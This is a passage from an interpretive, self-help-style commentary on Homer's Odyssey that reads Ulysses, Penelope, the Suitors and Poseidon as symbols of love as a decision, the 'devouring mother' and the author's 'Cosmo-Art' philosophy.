Among all the transformations that Ulysses must undergo, there is one in particular that Circe mentions when she is speaking about Scylla: I was speaking so, and the luminous goddess answered right away: “Madman, you always have actions of war in your heart, and battles; won’t you give in to the immortal gods? She (Scylla) is not mortal, she is an immortal plague, she’s terrible, atrocious, wild, invincible, there is no protection from her, the best thing you can do is escape. If you waste time putting on your weapons near the cliff, I’m afraid she’ll attack you again and she’ll be there with all her heads, grabbing a companion for each. It would be much better to escape and ask Cratais, Scylla’s mother, for help, since she generated this calamity for mortals; she can stop her, so she doesn’t attack again (Od. XII, 115-126). Who is this Scylla that cannot be stopped? And how great is our folly that, like Ulysses, we always carry actions of war in our hearts and minds? Gandhi thought up a great way to combat the arrogance of the British Empire but he did so with method and discipline and above all with art, following truth, humility, love and nonviolence. Gandhi was not a Buddhist, he was an enlightened Hindu and a great artist of life. I ask myself, though; what would have happened to India if Gandhi had only worried about reaching enlightenment? We are in need of Ulysses, who learns to transform himself and free himself of his hybris and violence. We also need Gandhi, to learn how to fight our battles in an artistic way and not a violent way. (see the Acts of the Congress of the Sophia University of Rome in Martina Franca: “Da Cristo a Gandhi” {From Christ to Gandhi}, published by Giuseppe Coschignano). We need to learn how to make truth emerge from our lies and how to be violent with our Psychological I so we are not violent with ourselves and with others. This is the only way that our I Person can emerge from deep within us, and become artists of our lives and of the life of the universe. After many woes, Ulysses transforms himself from being a warrior to becoming an artist: an artist of himself and an artist who knows how to help Telemachus and Penelope grow up and become adults so they can abandon the devouring mother and learn how to create concordance and circular love amongst themselves.
211
When Penelope does not want to recognize Ulysses, even after he passes the test of the bow and arrow and after the Suitors have been massacred, Ulysses does not respond with violence. He is patient, welcoming and available, he is humble and he goes along with his wife who first rejects him and puts him to the test with the story of their nuptial bed. This is how Homer describes this crucial moment: He emerged from the bathroom looking like an immortal god; and he again sat on the chair he had gotten up from, facing his wife, and he said to her: , 163-172) Ulysses forcefully, but patiently, reprimands his wife for having a hard, stubborn heart made of iron, but there is no violence in his words nor in his actions. He is willing to wait some more and go to bed by himself. Penelope answers him by defending herself, but she does not budge from her hard-heartedness. She is still not satisfied with the tests she has already put Ulysses through, first when he came to her as a beggar, and later when he had to string the bow like no one else and when he killed the more than one hundred Suitors; she gives him another one. And the prudent Penelope spoke to him: “My dear, no, I am not arrogant, I don’t despise you, nor am I surprised: I know exactly how you were when you left Ithaca on your ships with long oars. Yes, make him a soft bed, Eurycleia, outside my room, that he made with his own hands; make him a soft bed here, and throw a cover on it, and sheep skins and capes and splendid curtains”. She spoke thus, putting her husband to the test; and at this Odysseys disgusted turned to his faithful woman: “Oh woman, the words you have spoken are truly painful! Who has moved my bed? even an expert would have had difficulty, unless a god himself had come, and had easily moved it. Among men there would be no one alive, not even in full strength,
212
who could move it easily, because there is a great secret in the well-made bed that I made, and no one else. There was a trunk of an olive tree within the courtyard, full of florid, lush branches; it was as large as a pillar: I built the walls of the room around this, and finished them with small stones, and I covered it over well, put strong doors on it, firmly locked. And then I cut off the top of the leafy olive tree, and I trimmed down the trunk, I well encased it with bronze artfully, I made sure it was level, I built a base for it and used the drill to secure it. This is how I started in building the bed, and finished it with gold, silver and ivory decorations. Lastly, I pulled the leather bands, resplendent with Tyrian Purple. There, this is the secret: and I don’t know, woman, if my bed is still intact, or if by now someone has moved it by sawing through the base of the olive trunk”. (Od. XXIII, 173-204) Finally Penelope softens, she starts to cry and, throwing her arms around his neck, she tenderly kisses him. He spoke thus, and suddenly her heart and her knees were softened, because she had received the sure sign that it was Odysseus; and she ran straight to him, crying, she threw her arms around Odysseus’ neck, she kissed him on the head and said: “Don’t get angry with me, Odysseus, you who have always been the wisest among men; the gods filled us with tears, the gods, envied that together we could enjoy our youth and reach old age happily. So now, don’t be angry with me, don’t be disgusted, that I did not hug you immediately, as soon as I saw you. (Od. XXIII, 205-214) We now know that Ulysses has been transformed. He no longer has “thoughts of war” in his heart, as the goddess Circe had told him earlier on. After having lived through so many transformations, Athena was right in telling Ulysses: You have in your heart “wise plans” (Od. XXIII, 46). Only with the help of his wise plans can he transform his wife. When faced with women’s coldness and stubbornness, how many men cultivate wise plans in their hearts to transform their wives, instead of beating them, or killing them or abandoning them for another woman? If today there are no men who are capable of acting like Ulysses, we must not lose hope that they can still learn how to do it, inspired by the mythical figure of Ulysses. *****
213
CHAPTER XL
ULYSSES AND PENELOPE In all of Greek literature, there is no other woman who loves to be courted by many men like Penelope does, nor is there another woman so capable of deceiving all of them and sending them to their sure deaths at the hand of her husband. At the same time, there is no other woman who allows her courters to camp out in her house and dilapidate her wealth. Penelope herself says this in book XX: Suitors had never done something like this before, when asking for the hand of a noblewoman daughter of a rich man, competing among themselves for her: they themselves would bring their own oxen and fat sheep, lunch for the family of the young woman being courted, splendid gifts they would bring: and not devour her wealth without shame” (Od. XX, 275-280). But why wait so long to say so and, especially, why did she allow them to come into her home and act as though they were the masters of it? What other woman exists who is so astute she is able to delegate the plan to kill her husband Ulysses and her son Telemachus to the Suitors , without getting her own hands dirty, like Clytemnestra had done when she had Agamemnon killed? Once he had seen with his own eyes the reality of this double plan to get revenge, Ulysses would have had every right in the world to feel mortally offended and to decide to massacre not only the Suitors but also Penelope. And, in fact, there are versions of the myth in which Ulysses exterminates everyone, Penelope included. How could we possibly think that Ulysses’ heart broke to see how his female servants were betraying him and it did not when he saw how Penelope was faithful to him in one way and had betrayed him in another? Homer did not include these other versions in his poem; he made up another one, in which Ulysses forgives Penelope and kills only the Suitors and all the maidservants who had gone to bed with them. Homer’s greatness can be seen in how he managed to find a solution in which Ulysses forgives Penelope, but he does not forgive her all her arrogant demands, represented symbolically by the Suitors and the unfaithful maidservants, and so he mercilessly kills them.
214
Immense courage and great inner strength are necessary to carry out a plan like this. It takes great art to think it up and an even greater art for the one who must carry it out in reality. Where can we find, today, a man who is capable of exterminating all of his woman’s arrogant demands as well as his own, in one single stroke, without killing her, or abandoning her, or detaching from her by first separating and then getting divorced? And how can a man be expected to love a woman when he knows she is an assassin? Knowing that she is plotting to kill him? This is an immensely difficult task, one that seems impossible. It can become possible only if one embraces a concept of love that is not a sentiment (and worse yet a romantic one) nor simply passion, but is based on a decision. To learn more about love as a decision I suggest reading the Cosmo-Artistic interpretation of the film “Iris” by A. Grimaldi, written by Vito Chialastri and published in “I Laboratori Corali di Cosmo-Art” {The Cosmo-Art Group Laboratories}. If one has made the decision to love a woman, this love can be brought to the highest level, like giving one’s very life for the woman one loves. Only a love that is this great can obtain a woman’s complete transformation. Ulysses most certainly made this decision when he was on Calypso’s island and when he decided to leave her, facing the open sea on a very simple raft. It’s true that Ulysses was capable of transforming Circe and Calypso into women who became giving and generous. But what is it that allows him to be certain, or to even have hope, that he will be able to transform Penelope and he’ll be able to get her to accept the relationship that he has in mind? Here, too, Athena must have told him: You will definitely be able to do it. Teiresias had already reassured Ulysses when he told him: … you will find trouble in your home, arrogant men, who are eating up your riches, and are courting your divine wife while offering her wedding gifts. But you will punish their violence, when you return. (Od. XI, 115-118). Ulysses can have faith in himself because he has already had to face death many times and he won. He will win this time as well. History and the news tell a different story: men get revenge by killing their wives or by abandoning them for another. We never hear that a man is capable of getting revenge by destroying the thousands of arrogant demands that possess the woman he loves and that he has chosen as his wife.
215
If Ulysses is capable of making this type of decision, to forgive on one hand and get revenge on the other, by saving Penelope while exterminating the Suitors and the unfaithful maidservants, this is possible only because he has in mind the difficult project of creating secondary beauty by transforming himself and transforming Penelope, as I have tried to demonstrate in this book and in others before this. Athena herself says this, when Ulysses expresses doubt that he’ll be able to kill the Suitors, who are many, all by himself. You have “wise plans” in your heart (Od. XXII, 46); you will always have my help. You will definitely be able to do it. Even his mother Anticlea reassures him: And so I asked, and my sovreign mother answered right away: “Oh no! her heart has remained constant in your house; and the days and nights that she spends crying are always so sad. No one has your privilege: (Od. XI, 180-184) We can only imagine how much violence Ulysses feels and how, instead of pulling out his sword to kill Penelope, he tells his heart to be still and to remain steadfast in his project to love Penelope and create beauty with her. This can be done only when love is a decision and not when love is a sentiment. Killing is so easy. Everyone knows how to do it, either with a sword or with words. It is difficult to decide to love a woman who can become an assassin and hope to transform her into a woman who knows how to love her man. It is an easy task for Ulysses to shoot an arrow through the rings of twelve axes set up in a row. It is much more difficult to teach a woman to give up her arrogance and her demanding nature and learn how to give herself to her man with love. It is much more difficult to know how to teach a woman to not want to always impose her will and her power on the man she professes to love. All these are things that Ulysses learned how to do by going through thousands of misadventures and thousands of painful experiences. This is what being a man means. This is what being an artist of one’s own life and of the life of the universe means. Athena’s words “You will definitely be able to do it.” run frequently through Ulysses’ mind. This is where he gets his great strength and the great faith that allows him to stick to his goal.
216
This crucial theme of how to transform a woman-assassin into a woman capable of loving returns in Puccini’s famous Opera “Turandot”, where the prince Calaf succeeds in transforming the ice-cold princess Turandot, who kills all those who ask her to marry them, and gets her to fall in love with him. But a high test of love was necessary for this to happen. One is when Liu accepts to die out of love for the prince and the other is when Calaf risks his life by giving Turandot the answer to the enigma which she was unable to find. Ulysses, too, risks his life for the love of Penelope by undertaking the terrible battle against the Suitors.. Ulysses knows that a man has two ways he can form a couple relationship with a woman: either he can become submissive to her, and this is what Laertes does with Anticlea (otherwise why would he leave the palace and go cultivate the fields?), or he can force the woman to become submissive to him. This second way is what Hermes teaches Ulysses when he tells him, shortly before he arrives before Circe, to take out his sword and threaten to kill her. At that point, Circe tells him to get into her bed, and Ulysses, having eaten the “moly” herb that Hermes gave him (and we will never know exactly what herb this was) and that renders Circe’s magic spells innocuous, has her make a solemn oath that she will never do any harm to either him or to his companions. Unfortunately, when Ulysses reaches the island of Calypso Hermes is not there to give him the herb again and Ulysses winds up falling under Calypso’s influence for a long time. This time Hermes comes at the end of seven long years and helps free Ulysses not with the power of the “moly” herb but with the strength of Zeus’ will. It is clear, however, that both strength (and not violence) and love are necessary to turn around his being submissive to a woman. But at what price! Strength is not violence, it is a power that one acquires after living for a long time and after elaborating one’s powerlessness so it can be transformed into personal power. Ulysses acquires strength in regards to Penelope, because he went through many experiences of being powerless while he wandered throughout the Mediterranean and, especially, because when he walks into his palace as a beggar he must call upon his great inner strength to endure the Suitor’s violence (which is nothing but Penelope’s own violence acted out by the Suitors).. Powerful women are like a wild horse that no human will can ever tame and ride.
217
In his penetrating film “The horse-whisperer”, Robert Redford knows how to use together strength, softness and respect to tame a horse (see. A.M. et al : “I Laboratori Corali della Cosmo-art” {The Cosmo-Art Group Laboratories}. Men who want to create a couple relationship can learn a lot from this film, if they are unable to learn from Ulysses. The “moly” herb can be extracted from the earth only with the strength of a god. There is no need to know exactly what this herb was that could cancel the power of the sorceress Circe’s spells. It is enough to concentrate on the concept of “strength” and we are certainly not talking about physical strength. The hero in the film “Star Wars” is constantly invited to use the force and not hatred, if he wants to win over evil and over those who express it. He must do the same thing if he wants to lift a space ship out of the swamp it is mired in. We are not talking here of physical strength, we are talking about the kind of strength that one acquires after having lived a long time and having transformed many situations in which they were completely powerless. To be able to accept total powerlessness and transform it into personal power (an acceptance of powerlessness is a form of great power) is the highest form of strength that a man can reach. Women can’t be beaten in the art of putting men into situations of complete powerlessness and total exasperation. The fact that men know how to respond to this only with hatred and rebellion is a real problem. Hatred and rebellion can only generate death for oneself and for others. The more hatred accumulates the more one becomes an assassin. Ulysses does not want to follow this course. Being constantly guided by his SELF (Athena) and by his inner wisdom, he wants to create a relationship in which the two partners can form one soul that lives in concordance, without one having to succumb to the other. This is an acquired ability to create secondary beauty , or immortal beauty. This is a new relationship model that is the result of a fusion between cosmic forces and human forces. Ulysses is its fundamental archetype. Sometimes I think of the woman as being like an ovum that does not allow any sperm to penetrate it and I think of the man as being like a sperm that doesn’t have much desire to fight, so he lets himself die, powerless, below the stone walls of the woman’s heart. To conquer a woman’s attentions is easy. To conquer the heart of a woman is a very difficult task and very few choose to face it.
218
Every time I have a conflict with my wife, the first question I ask myself is, which of my arrogant demands must I give up? And I realize that my list of demands is very long indeed. I won’t, like Ulysses, be able to exterminate them all at one time, but maybe I will be able to get rid of them one by one. It is much harder to bend my pride and respond with loving strength to any violence I am attacked with. Little by little I can learn this, especially when I can identify and free myself of my unconscious will to be a martyr and to allow myself to be eaten by the lions, like the Christians did in the Circus Maximus or in the Colosseum so they could then be proud of it. Loving strength is a synthesis of two opposites: love and hate. To be able to develop it , one must do much more than just give up the unconscious desire to be a martyr. It is necessary to be able to learn how to reorganize hatred and strip it of its destructive-destructive aims; after this happens, it is possible to accept hatred as a destructive-constructive force and become strong in one’s desire to learn how to use it, when necessary, together with the ability to love and to love oneself. If love and hate stay separate from each other, it ends up that love alone is powerless and ineffective and hatred is only destructive. Under such conditions it is impossible to change oneself and it is impossible to transform a woman and especially impossible to change a mother. Accepting hatred as a destructive-constructive force means feeling like an assassin when we must use it, and being overtaken by infinite feelings of guilt for doing evil instead of good. If we accept our guilty feelings and allow them to govern us, we will remain prisoners of a false ideal of perfection and of a false type of goodness. Gandhi said; it makes no sense that a mouse forgive a cat if it doesn’t first become a cat. In the relationship with a phallic, tyrannical mother, it makes no sense to learn how to forgive her unless we don’t first become capable of killing her phallic, tyrannical components. I saw these themes be very nicely explored in the shocking thriller by Michael Mann entitled “Collateral”, with Tom Cruise. It is not enough to see it just once to be able to grasp all the nuances. This film was chosen as a theme for one of the Cosmo-Art Laboratories of the Sophia University of Rome (S.U.R.). The Suitors don’t represent just the thousands of demands of an arrogant heart, they also represent the devouring mother, the phallic mother and the tyrannical mother-assassin. They also represent Ulysses’ and Penelope’s homicidal and suicidal urges. It is necessary to identify with their homicidal urges to be able to kill off one’s own homicidal and suicidal urges. This is what having to kill the Suitors means: it is an act of justice and of transformation, not an act of revenge. The stars create their own strength by making a synthesis between two identical atoms; human beings create their strength by making a synthesis between two elements that are completely opposite. The first is a work of art of nature, the second is a work of art done by human beings and it is much more difficult to accomplish.
219
Loving strength is indispensable for creating concordance, and the concordance that is created this way can be discontinuous. This doesn’t matter. It is a long process, just like the birth of a star is a long process. Every time a moment of concordance is reached it is a Himalayan peak that has been climbed, in the name of the beauty that can be created and not in the name of ugliness. *****
220
CHAPTER XLI
CONCORDANCE AND IMMORTALITY “The goal is invisible until it has been reached” “But the two when they had enjoyed their sweet love enjoyed talking to each other she saying how much she had suffered at home, a beautiful woman forced to watch while the impudent crowd of suitors slaughtered many cows and fat sheep because of her and much wine they took from the vases and the divine Odysseus saying how much pain he inflicted on his enemies and how many misadventures he too had to face he told her everything and she enjoyed listening nor sleep fell upon them until after they had told each other everything”. (Od. XXIII, 300-309) “Until they had told each other everything” We must reflect on this phrase and grasp all the implications it contains. Homer says that Ulysses tells Penelope all about his misadventures and thus he tells her about his encounters with Circe and with Calypso. Ulysses doesn’t lie, like he is used to always doing, nor does he hide his experiences with love and sex when he is far away from his wife. And this happens right after Penelope recognized her husband, after all her resistance was overcome, and they went to bed and enjoyed sweet love. What other man would have told his wife about his adventures with other women, the first night that he has returned, trusting that he would be understood and welcomed? And what wife wouldn’t have reacted with disgust, offended by her husband’s unfaithfulness? What wife would not have thrown her husband out of bed and closed herself in her rancor forever? And yet this does not happen. Ulysses does not blame Penelope for having allowed one hundred eight suitors into his house that were plotting to kill him as soon as he returned, and Penelope does not blame Ulysses for having stayed for a year in Circe’s bed and for seven years in Calypso’s. Ulysses understands and forgives his wife for her errors and Penelope understands and forgives her husband for his.
221
In this comprehension and reciprocal forgiveness lies the highest test that Ulysses and Penelope manage to pass in this moment of their being “one soul”. According to Homer, it is the highest level that the man-woman couple can reach. This is what Ulysses had expressed as his most sincere wish for Nausicaa, when he is begging her to help him after his terrible shipwreck. He wishes her the highest form of happiness that is possible in an encounter between a man and a woman. Ulysses says that a couple that reaches this type of concordance becomes “well renowned”, they create joy for their friends and while their enemies become angry. How can Ulysses make these affirmations? From whom did he learn them? But above all, how did Ulysses know ahead of time, especially when he had to tell Calypso that he didn’t want to marry her and would not accept the gift of immortality that she promised him, that Penelope would agree with him and want to build the same type of relationship that Ulysses has in mind? Ever since he had descended in Hades and met Agamemnon, he knows that many women are treacherous assassins. How can he be sure that Penelope is not one of these? How can he be sure that Penelope isn’t plotting to have him killed as soon as he gets to Ithaca, as Clytemnestra did? He must have had some major doubts, since when he landed at Ithaca and met Athena he knew that there were more than a hundred Suitors in his house ready to kill him. Otherwise, why would he have decided to show up disguised as a beggar, so no one would recognize him, not even Penelope? , 383-387) The story of the great love between Orpheus and Eurydice was passed down to us from Greek mythology, but this relationship did not last long. Death comes and destroys her. Orpheus obtains the ability to descend into Hades and bring Eurydice back to life. But Orpheus does not respect the conditions that Prosperpine had set for him; he turns around to make sure his woman is following him out of Hades, and he loses her forever. Ulysses has in mind a different kind of relationship. He is thinking about a relationship that can create secondary beauty, as described by Cosmo-Art. This beauty assures that the man and the woman will have immortal life, a type of immortal life that is superior to the kind that even the gods have. Otherwise, we could not explain
222
why Ulysses rejects the immortality offered to him by Circe and Calypso if only he will marry them and abandon Penelope. From the beginning, Ulysses pursues the realization of a relationship that itself creates immortality, without it having to be given from anyone else. This is why he accepts all the thousands of woes that life inflicts on him without becoming a victim. He accepts everything so he can transform his life into a work of art. This is why he accepts the most difficult thing that a man can face, the complete conquering of his pride, and going to his own house dressed in the rags of a beggar, instead of as the king he is. This is why he accepts to withstand all the humiliations that the Suitors make him go through. This is why he accepts to fight a huge battle and kill them all, with the help of Athena, Telemachus, Eumeus the swineherd and Philoetius the cowherd. To kill the Suitors, to eliminate all of them without saving any one of them for me is a task that a man and a woman must be willing to accept. If both of them do not radically put aside their own arrogant demands, it is impossible to build a couple that can live in concordance, that can resist the test of time and that can create a beauty that renders them immortal. Among the most difficult arrogant demands that must be eradicated are the ones that make us want to create a couple relationship without giving up our incestuous ties with our devouring mother. The Suitors are arrogant and proud and they devour all the riches from Ulysses’ house. They are the last powerful symbol of a mother who devours the life of both Ulysses and Penelope. They are not like the monsters that Ulysses has already met, Polyphemus, the Sirens, Scylla and Charybdis. They are human beings, just like the arrogant demands that dwell in the hearts of men and women are human. They represent the fetal I who imposes its will as though it were an absolute, completely invading the space that should belong to the adult I. Rabbi Jochanan, as quoted by Paul Watzlawick in “The Situation is Hopeless but not Serious: the Pursuit of Unhappiness”, says: “To be able to make a harmonious couple is more difficult than the miracle Moses performed at the Red Sea”. What this Rabbi says is truer today than ever, but Homer and Cosmo-Art make a proposal and indicate a path for its accomplishment, in the hopes that there are couples who want to listen deeply to their desire for beauty and immortality. What type of immortality are we talking about? When Ulysses rejects the offers Circe and Calypso make him, and having had this offer twice is very important in completely understanding Homer’s thought, we know that the gods’ so-called immortality is unreal. It simply does not exist, even though the Greeks need to be able to believe that divine immortality does exist.
223
And since Ulysses tells Calypso that he is ready to face yet more suffering just so he can reach Penelope, we must deduce that Ulysses does not intend on giving up immortality in exchange for his return to Ithaca, but that he has his own plan in mind: a way he can reach his own immortality which is superior to the type promised him by Calypso. It is true that in the verses where concordance is mentioned (Od. VI, 180-185) , Homer and Ulysses speak of being “well renowned” as a result of the glorious concordance, and not of immortality, but this must not deceive us. Homer must make sure his readers will accept his ideas and thus he cannot openly propose a type of immortality that is superior to that of the gods; had he done so he probably would have been lynched. But since Ulysses compares his relationship with Penelope to his relationships with Circe and Calypso, who are “sovreign goddesses”, and he rejects their promise of immortality, for me it’s clear that Homer and Ulysses are indicating, when speaking of being “well renowned”, a type of immortality that is most certainly real and is most certainly superior to the type that the gods have. One last argument for this is as follows: why is it that Homer defines concordance as being “glorious”? The Greeks used the term glorious only when referring to their war heroes and their immortal fame and never when referring to concordance between husband and wife. Nevertheless, when Ulysses descends into Hades and speaks with Achilles, the most glorious hero of those times, Homer tells us that Achilles prefers even the most humble life of a country bumpkin over the glory given by dying in battle: “Don’t honor my death, splendid Odysseus. I would rather be a country bumpkin, serve a master, one with no inheritance, no wealth, than rule over all these worn-out shadows. (Od. XI, 488-491) Clearly Homer is proposing a path towards immortality that is superior to any other type of immortality that humanity has ever invented before. This is why he calls it “glorious”. *****
224
CHAPTER XLII
MORE ON THE STORY OF THE ODYSSEY THAT ULYSSES TELLS PENELOPE
We have already written that, since the world began it had never happened that during a first night of love after twenty years of absence, a husband had told his wife about not only all his travel adventures, but also his adventures with other women, without having his wife, indignant and offended, throw him out of bed. If this happens, if Ulysses is able to tell Penelope about all his experiences with other women without getting a strong reaction, there must be a very significant reason that this is so. I believe the reason can be found in the decision to not only reciprocally forgive each other for all their wrongs, but also to step completely from a dimension of guilt to one of giving, where everything is a gift and there are no more debts nor debtors. This can be accomplished only if both people involved are strongly determined to create beauty and not ugliness, beyond finding again their concordance, which is the goal of the Cosmic SELF. If a husband and wife have decided to make the creation of beauty their main goal, then everything that can happen to one or the other is put into a cosmic context where guilt, which does exist, can be overcome, and creative energy can even be extracted from it so as to create new beauty. Secondary beauty is the result of a synthesis of many different types of energies, not just one. The energy that can be extracted from guilt that has been owned and overcome is among the most potent energies that can converge in creating the impossible, secondary beauty, where everything is a gift and there are no more debts or debtors. It is true that Ulysses betrayed Penelope with Circe and Calypso, but how would he have been able to free himself of his intrauterine incest with his mother, had he not established intimate relationships through which he could understand and overcome these incestuous ties? How else could he decide to detach himself from his mother without first possessing her? Circe and Calypso are two symbols of the mother that first possesses her son and then is possessed by him. It is true that Penelope was insane in allowing one hundred eight prideful suitors, who plot the deaths of Telemachus and Ulysses, into her house. But how would she have otherwise been able to become aware of her infinite arrogant demands, those of a woman who is still a child and who is still deeply tied to her mother, with whom she plots Ulysses’ death so she can stay a child forever, forever bound in a couple relationship with her mother?
225
And, without the Suitors, how could she ever have understood how much she, as well as Ulysses, was possessed by a devouring mother that had control over her life? When one maintains a deep complicity with the mother, it destroys the foundations of the goal of two partners to create a couple. It is especially damaging when the two have decided to pursue the goal of creating “one soul” that is the result of having placed one’s life at the service of a cosmic plan to create secondary beauty through the fusion of the I and the You of a man and a woman. *****
226
CHAPTER XLIII
COMPLICITY AND ARROGANT DEMANDS We must face a terrifying battle when attempting to overcome our complicity with the mother and the thousands of arrogant demands we have towards others and towards life. It is equally very difficult to step away from the ambiguity that we get stuck in when we want everything and we are unwilling to let go of anything. This ambiguity, already mentioned in the dialogue between Athena and Telemachus (see. Od. I, 248-251), is described very well in the dream that Penelope tells Ulysses about.) In the explanation that Ulysses offers Penelope, the geese that are eating the grain represent the Suitors who are camping out in the palace and this reveals how much fun Penelope has had in being courted and desired by so many men. The eagle that kills the geese represents Ulysses who kills the Suitors, and Penelope is sad because he has killed them. It is obvious that Penelope does not want to abandon her childhood dimension and does not want to decide yet to detach herself completely from her mother, thus becoming a woman who is able to love a man. This same ambiguity belongs to Ulysses as well, and this is obvious in his relationship with Calypso. In Penelope’s dream we can see the various components of the I, the I Person, the Personal SELF, the Cosmic SELF, the Psychological I, the fetal I and the adult I, that all act in contrast to each other. Paola Sensini Mercurio used this dream to create a method of dream interpretation that follows the principles of Cosmo-Artistic Anthropology. It is important to reflect on the various types of pain that Ulysses must face so he can discover the devouring mother that hides within himself, within his very house, so he can free himself of it.
227
We must reflect on the pain of having to experience complete powerlessness before he can gain the power to gain victory over and destroy the devouring mother. Homer many times calls Ulysses “patient Ulysses”, one who is patient while attempting to conquer evil and who is patient while extracting beauty from ugliness. The alchemists were infinitely patient when working on their opus, their developing the ability to extract gold from lead. The Suitors don’t only represent the devouring mother, they also represent “the evil” that is within all of us and that is in the world. The Suitors are assassins, because they are plotting to kill Ulysses and to kill Telemachus; they are thieves because they want to possess Penelope and all of Ulysses’ riches. They represent the “homicidal urges” and the “suicidal urges” that can be found in every human heart. The Suitors are full of arrogant demands, greed, envy and hybris and that is why they must be destroyed, but only by using infinite patience to get to the right moment, with the help of Athena and Zeus. It is important to reflect on the infinite types of complicity that exist between a child who has been devoured and the devouring mother. It is not possible to acquire a real ability to free oneself from the mother’s destructiveness until after one has lived through and dissolved all of these types of complicity with which the child remains tied to the devouring mother. The son or daughter always feels a secret pleasure alongside their pain for being devoured and chopped to pieces. There is pleasure in feeling alive between the fangs of the monster. There is the pleasure of masochistic suffering and in learning how to use sadistic pleasure against the mother and against anyone who is a good target for maternal projections. There is the pleasure of feeling the type of security that comes from the mother’s affection while she is nourishing you, while waiting to herself be fed a much larger meal later on. There is the pleasure of identifying with the omnipotence of the mother to guarantee one’s own possibility to be omnipotent. I didn’t have to go wandering through the Mediterranean to be able to experience, in my daily life, the possibility to re-experience all the stages of powerlessness described above. I am convinced that from the moment I was conceived I felt the pain of being chopped to pieces by the devouring mother. I also faced my arrogant demands, my complicities and my ambiguities and it was not easy to recognize them and decide to abandon them all, one by one. I was never without the help offered me by my SELF and I always managed to listen to its wise council even when it seemed absurd.
228
It is also important to reflect on how in passing gradually from powerlessness to personal power Ulysses manages to acquire the precious ability to transform the devouring mother into a positive one. This happens with the sorceress Circe, who teaches Ulysses what he needs to know so he can face the dangers he will encounter ahead. Circe knows the way to descend into Hades, the kingdom of the dead, and teaches him how to do so even though he is alive. There he meets the soothsayer Teireisias, who knows the future, and thus can tell Ulysses how he can ultimately resolve his conflict with Poseidon, or in other words his problem with his guilt and with feeling guilty. Ulysses also transforms the nymph Calypso into a positive mother figure that is finally capable of giving him his freedom. She also teaches Ulysses how to navigate by night by using the stars as his guide. (see A.M. The Ulysseans, Chapter XV, Published by the Sophia University of Rome (S.U.R.), 2009). I would like to look at one more encounter with the devouring mother. This happens when Ulysses must pass alongside the vortex of Charybdis after he has been shipwrecked and lost his ship and all his companions, due to a storm that Zeus struck up while they were off the coast of the island of Thrinacia. It is apparently very odd that the marine currents drag Ulysses back to where Charybdis is, after he has managed to skirt around it when he passed the Strait of Messina the first time. But evidently, Homer is trying to tell us something else of great importance. This time Ulysses is saved thanks to a fig tree (see Chapter 45), which he grabs on to so he is not sucked down into the vortex. *****
229
CHAPTER XLIV
ULYSSES AND POSEIDON Homer tells us that Poseidon is mad at Ulysses because he blinded Polyphemus, who is Poseidon’s son. But here we must necessarily ask a question: doesn’t the principle of legitimate self-defense apply to Ulysses as well as to others? Was Ulysses supposed to let himself and his companions be devoured by Polyphemus, without doing anything to defend himself? Then another question comes to mind: is Poseidon a divinity who acts irrationally, just as every mother does when her child is threatened after having committed a crime? Is the child always right and does the mother always take his or her side, no matter what they have done? When I think of Poseidon and of his hostility towards Ulysses, I think of a god who is obtuse, unfair and domineering. And when I think of Teireisias saying that the god is right in making Ulysses go through yet another trial so he can find a way to make up with him, my stomach turns. When I think of Poseidon I think of all the forms of obtuseness, unfairness and domination that can damage everyone’s life, including mine. I think of the obtuseness of the judges who condemn Socrates to death with the accusation that he has corrupted the young people of the city. I think of all those times that the innocent are persecuted and the guilty are freed because of a legal loophole. I think of the obtuseness of many doctors who rarely listen to their patients and base their decisions on what they have in their own heads, based on their own limited knowledge. I think of the obtuseness of public institutions and of the arrogance of civil servants who force poor citizens to make a journey even more exhausting than Ulysses’ every time they try to solve a problem that has befallen them. I think of the obtuseness of many wives who blame all their troubles on their husbands, and vice versa, and never look at their own responsibility. And I think of those people who only see other people’s faults and errors and who never see their own, even when they are glaringly obvious.
230
These and many other things are what Homer is talking about when he includes Poseidon’s hostility towards Ulysses in his poem. And Teireisias wanted to tell Ulysses that when he is dealing with obtuseness, unfairness and attempts to dominate, he must not act “with thoughts of war” but with humility and extreme patience. My stomach turns over because I want nothing to do with having to put aside my pride, nor do I want to acquire humility and patience; rather I am always cultivating, as Circe says to Ulysses, “thoughts of war”. Zeus knows that Poseidon has no reason to treat Ulysses that way but up until a certain point he respects Poseidon’s hostility. But then, when according to his own wisdom it is only right that Ulysses returns to Ithaca, he intervenes with his power and Poseidon can no longer have his way. He can let his anger loose by starting up a furious storm against Ulysses, but he can not kill him as he did with Ajax. The strange thing is, though, that Poseidon stirs up a storm against Ulysses only once, and, coincidentally, this happens when Ulysses is on his raft off the island of the Phaeacians. These people, although they are devoted to Poseidon, are the ones that end up taking Ulysses home to Ithaca on their fastest ship. How can Poseidon punish the Phaeacians only after they have taken Ulysses to Ithaca, and not before? And just as he threw a cliff at the island of the Phaeacians to destroy it, couldn’t he also have thrown it at Ulysses and Ithaca and thus have gotten rid of both of them? I have already touched on this theme but I keep coming back to it because I feel that these apparent incongruities are hiding some deeper truths that are important to bring to the surface. Earlier on I wrote that Ulysses’ true guilt does not consist of having blinded Polyphemus, it consists instead of his hybris and his arrogance with which he insults him after he has managed to escape. Hybris always results in punishment. When Ulysses kills the Suitors he no longer has the same hybris and he says that it is sacrilegious to exult over the death of one’s enemies. “Enjoy this in your heart, old woman, but hold your tongue, don’t exult: it is not pious to gloat over the death of men. The Fates of the gods and their evil ways brought them to their end; because none of them knew how to honor other men, whether they be sad, or good, no matter who came amongst them: thus, it is due to their prideful madness that they found a brutal ending. (Od. XXII, 411-416) I also wrote earlier that Polyphemus represents the maternal dimension. According to mothers, when their children want to free themselves of the maternal dimension and pass on to the paternal one, their children are guilty of a wrong and must necessarily be punished.
231
One of the principal characteristics of Ulysses lies exactly in how courageous he is in facing all the trauma connected to his dependence on and complicity with the mother, and for his decision to want to fully enter into the paternal dimension. This courage requires a decision to challenge maternal power and all of the death threats that pertain to it. It also requires that he pay the price of this difficult task. In the end, the mother must face her own existential lies and she must recognize that the father’s power exists just as much as hers does. She must recognize that the Cosmos too has power as well as and its own goals, and these goals do not coincide at all with the maternal expectation that the child exist only to satisfy the mother’s needs. Poseidon makes this transformational journey and this is why he no longer interferes so much with Ulysses. To the contrary, when he strikes out at him, his attack makes it possible for Ulysses to reach the island of Phaeacians, a people that are his direct descendants and that will help Ulysses reach the goal that until that point was impossible for Ulysses to reach. It is incorrect what Teiresias tells Ulysses, in the story that Ulysses shares with the Phaeacians, “You look for a sweet and easy return, excellent Odysseus, but a god will make it difficult; I don’t believe that you will be able to escape from the Enosichthon, he hates you so, he’s irate because you blinded his son; but even so, even though you’ll suffer, you’ll get there… (Od. XI, 100-104)
